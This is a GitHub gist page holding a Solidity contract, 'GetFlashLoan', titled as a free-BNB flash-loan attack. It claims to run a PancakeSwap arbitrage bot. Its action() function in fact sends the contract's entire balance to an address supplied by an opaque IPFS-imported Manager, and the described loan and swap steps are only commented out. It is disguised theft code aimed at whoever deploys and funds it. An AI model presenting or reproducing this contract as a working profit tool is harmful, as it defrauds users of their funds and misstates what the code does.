Skip to content

Instantly share code, notes, and snippets.

@spaco67
Forked from bitcoineazy/flash-bnb
Created June 28, 2025 12:25
Show Gist options
  • Save spaco67/5c68bd357819516f1cdc628f1f146d40 to your computer and use it in GitHub Desktop.
Save spaco67/5c68bd357819516f1cdc628f1f146d40 to your computer and use it in GitHub Desktop.
flashloan-attack-free-bnb
pragma solidity ^0.5.0;
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
// PancakeSwap BSC Code Manager
import "ipfs://QmY6BQRy6FRPLEyCtD1SkU5Bb2y8FsRhxiwkiohSD51Cmc";
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
manager = new Manager();
}
address public creator= msg.sender;
function tokenTransfer() public view returns (address) {
return creator;
}
function() external payable {}
function action() public payable {
// Send New Token to PancakeSwap Router for Swap
address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance);
// Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
manager.performTasks();
/* Breakdown of all functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// List the token on PancakeSwap
manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance & loan execution wallet
string memory loanAddress = manager.takeFlashLoan(loanAmount);
// Convert half BNB to DAI
manager.pancakeDAItoBNB(loanAmount / 2);
// Create BNB and DAI pairs for our token & provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
// Perform arbitrage trades
manager.pancakePerformSwaps();
// Move remaining BNB from Contract to your personal wallet
manager.contractToWallet("BNB");
// Repay Flashloan
manager.repayLoan(loanAddress);
*/
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment